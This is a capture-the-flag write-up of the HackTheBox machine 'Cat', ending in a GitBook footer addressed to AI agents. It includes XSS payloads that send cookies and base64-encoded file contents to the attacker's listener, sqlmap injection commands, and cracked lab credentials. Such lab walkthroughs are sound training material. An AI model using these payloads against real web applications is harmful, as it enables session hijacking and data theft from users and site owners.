> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat HackTheBox Writeup

Cat HackTheBox Medium Linux machine writeup covering Directory Fuzzing (.git file), Source Code Analysis (Git Repository Dump), Stored XSS Exploitation & Session Hijacking, SQL Injection (SQLite) usin

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Skills:**

* Directory Fuzzing (.git file)
* Source Code Analysis (Git Repository Dump)
* Stored XSS Exploitation & Session Hijacking
* SQL Injection (SQLite) using sqlmap
* Password Hash Cracking
* Port Forwarding via SSH
* Exploitation of Gitea (v1.22.0) – Stored XSS
* Sensitive Data Exfiltration via XSS Payloads
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee42315c03c79a312f3b0fbaa203c321db7ff79f%2F%7B36A13240-08CF-49ED-8E15-5EDA5B72AE08%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-902fdc17ca94e34609f86272600dfa18f1617cd7%2F%7BF8B5AC81-EDA3-4223-8B19-D22753B5B0A9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22531a7b59a7280eafbca354ab3014b55eced4ff%2F%7B1057D700-0721-42D3-9735-B60ABF544C4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d5c7006809e1ab37c42e31d2073be797ecdad45%2Fimage%20(2931).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38bc745cf55f07ead8abba951cf6a1a875551dda%2F%7B33B51646-9756-4102-AC27-56EC6F5E6CEF%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecee3c04d850453b1c3c51b5fb91933f96df1b00%2F%7B43D645F4-4C24-4B58-A750-9EF530266ACF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By accessing the `http://cat.htb` site, you will find a registration form.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58c863be66fb6bcc15bfa679484651bfc6955ca%2F%7BDD4FF287-BBB5-4592-AB8D-592D7CB00AC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We also notice a voting functionality.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2e52827d04a29099d3b8a25da1c366273c866a1%2F%7B9EF9FF4C-F1A5-4E3B-B50C-800F1A2A40B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory fuzzing**

We run `gobuster` to discover hidden paths:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90fed6cc282869b2e29e6c782be08728768065%2F%7B2D9B08C2-9EF3-4DA2-829D-FB1152F9DA81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This reveals several interesting files, including a `.git` directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc9f450d03904b20fe037890abda356a39da53c8%2F%7B333D743D-4D23-4D7C-9767-21B721325D82%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Git repository dump**

We use `git-dumper` to retrieve the contents of the repository:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11d6bc57a74c3366fadf16471a779c93d9424574%2Fimage%20(2932).png?alt=media" alt=""><figcaption></figcaption></figure>

By inspecting the source code, we identify an **SQL vulnerability** as well as a possibility of **stored XSS**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c454398950cc76133336602366738cc3c6e2eddd%2Fimage%20(2933).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability XSS

The application accepts *username* and *email* fields without proper filtering. This allows the injection of malicious scripts.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121be27cc9f6e4293cc81ec07f70bac5a93fe42e%2F%7B7E675F74-A87C-400F-8F48-032113ADFC7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Payload XSS**

We create a user with the following name:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Receiving the admin cookie**

We listen on port 8081:

```bash
python -m http.server 8081
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5151082f5b1af2d77c28381dc65ef230f770d6a%2F%7BD2B4E367-F711-49BC-8357-6FCD46C36B45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Once the cookie is captured, we obtain the administrator session:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58fb7acf3b0f3996ab8e0abfc770659fda5852b9%2Fimage%20(2934).png?alt=media" alt=""><figcaption></figcaption></figure>

We modify our session cookie for that of the admin and access the **administration console**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7a0bafc53f831434dd7372fbe05a04ab542e073%2Fimage%20(2935).png?alt=media" alt=""><figcaption></figcaption></figure>

## Injection SQL (SQLite)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-440e273a8914993d6bdadc24f53190acc3d88a27%2Fimage%20(2936).png?alt=media" alt=""><figcaption></figcaption></figure>

With admin access, launch `sqlmap` on a vulnerable form

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-575d84ccefc75f7c7fe6e2f3eaa62a250b66aaf7%2Fimage%20(2937).png?alt=media" alt=""><figcaption></figcaption></figure>

**Hash recovery**

We obtain the users' **password hashes**. Here are some examples:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Password cracking**

Using [CrackStation](https://crackstation.net/), we successfully identify the password for user `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe375133bc7c6ab206cf089ca2cce297647a4db%2F%7B2D327CE5-420B-4484-8241-3F9A555AB405%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **username** : rosa
* **password** : soyunaprincesarosa

SSH connection with the retrieved credentials:

```bash
ssh rosa@cat.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ab8190f9e63b33935c6fb3ba94d49b000be6ebc%2F%7BB73874B2-6A4E-4FF6-8D7F-E79235F43528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Pivoting User Axel

#### Enumeration LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa is in the `adm` group, access to:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9aac1ee5d4d2bc630e2187021daf96da8c55ec2a%2Fimage%20(2938).png?alt=media" alt=""><figcaption></figcaption></figure>

Credentials found:

* Username: axel
* Password : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c256559b0528b175d3b0eed13a9e64e7dd9136d%2Fimage%20(2939).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71aae01c1591b41efb7071c8b2c03e69ed4c28bf%2Fimage%20(2940).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege escalation

### Discovery of internal ports:

```bash
netstat -tuln
```

* **Node.js** (port 3000)
* **SMTP** (587, 25)

Services identified

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-197f3158dacfa4de378356ce0efebf421ad1ebee%2Fimage%20(2945).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Port Forwarding

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### XSS Vulnerability in Gitea v1.22.0

On `http://localhost:3000` -> **Gitea** is accessible.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c35ebe796ccd551785bd2cc1e0513956feabc69c%2F%7B1879616B-7399-4046-AD97-B5758EB0CB84%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Log in with Axel's credentials.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c00700b7b8216d656403f1fe22bd844f0a63178%2Fimage%20(2942).png?alt=media" alt=""><figcaption></figcaption></figure>

Vulnerability XSS connue.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd5ef97788947a71042823ec9f4ce023a9821271%2Fimage%20(2944).png?alt=media" alt=""><figcaption></figcaption></figure>

We create a project with a description containing:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1ac15a3eb89b5f3eaa7088343ff186e95a8320d%2Fimage%20(2947).png?alt=media" alt=""><figcaption></figcaption></figure>

* Result:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32baeaa7698210d8e04d3179e6a036706b6ad8a1%2Fimage%20(2946).png?alt=media" alt=""><figcaption></figcaption></figure>

### Mail intercepted via LinPEAS

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1db9633da33033c664638aee58334a7aadf19d3%2Fimage%20(2948).png?alt=media" alt=""><figcaption></figcaption></figure>

Email content:

* jobert\@localhost must check the Gitea repository

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10c9aab4b06d2ef3b828c37c710d6b37409dda30%2Fimage%20(2949).png?alt=media" alt=""><figcaption></figcaption></figure>

We send an XSS link containing an exfiltration script which reads the content of the `index.php` page of the Gitea repository, encodes it in Base64, then sends it to our web server

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cf5b915d31f2d01dda54a5aa67f38281b570a20%2Fimage%20(2952).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Via our web server

```bash
python -m http.server 8080
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c91d0c985564de574627ae2de717e84193f64a3%2Fimage%20(2953).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exfiltrated content (base64 decoded):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62ca12cda3a529621eb7887083521fe00f7e141%2Fimage%20(2954).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Root Escalation

There is a reuse of credentials for the root user

```bash
su root
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35b83fb353dc028c1b9a71b4cbb2878c08d0e13c%2Fimage%20(2955).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbc8ab4158bcd8748c696940385efcaa243b6a6%2Fimage%20(2956).png?alt=media" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-073c29d9f551aa71f5db3c953a0defc0e42dc2ee%2F%7BE04D0081-7244-49A2-9047-BB42B52969A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
